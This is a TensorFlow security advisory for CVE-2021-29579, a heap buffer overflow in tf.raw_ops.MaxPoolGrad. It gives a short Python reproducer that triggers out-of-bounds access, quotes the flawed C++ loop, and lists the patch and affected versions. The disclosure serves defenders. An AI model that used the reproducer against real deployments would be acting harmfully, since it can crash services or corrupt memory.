1## TFSA-2021-068: Heap buffer overflow in `MaxPoolGrad` 2 3### CVE Number 4CVE-2021-29579 5 6### Impact 7The implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer 8overflow: 9 10```python 11import tensorflow as tf 12 13orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32) 14orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32) 15grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32) 16ksize = [1, 1, 1, 1] 17strides = [1, 1, 1, 1] 18padding = "SAME" 19 20tf.raw_ops.MaxPoolGrad( 21 orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize, 22 strides=strides, padding=padding, explicit_paddings=[]) 23``` 24 25The 26[implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) 27fails to validate that indices used to access elements of input/output arrays 28are valid: 29 30```cc 31for (int index = out_start; index < out_end; ++index) { 32 int input_backprop_index = out_arg_max_flat(index); 33 FastBoundsCheck(input_backprop_index - in_start, in_end - in_start); 34 input_backprop_flat(input_backprop_index) += out_backprop_flat(index); 35} 36``` 37 38Whereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the 39indexing in `out_backprop_flat` can result in OOB access. 40 41### Patches 42We have patched the issue in GitHub commit 43[a74768f8e4efbda4def9f16ee7e13cf3922ac5f7](https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7). 44 45The fix will be included in TensorFlow 2.5.0. We will also cherrypick this 46commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 472.1.4, as these are also affected and still in supported range. 48 49### For more information 50Please consult [our security 51guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for 52more information regarding the security model and how to contact us with issues 53and questions. 54 55### Attribution 56This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu 57X-Team. 58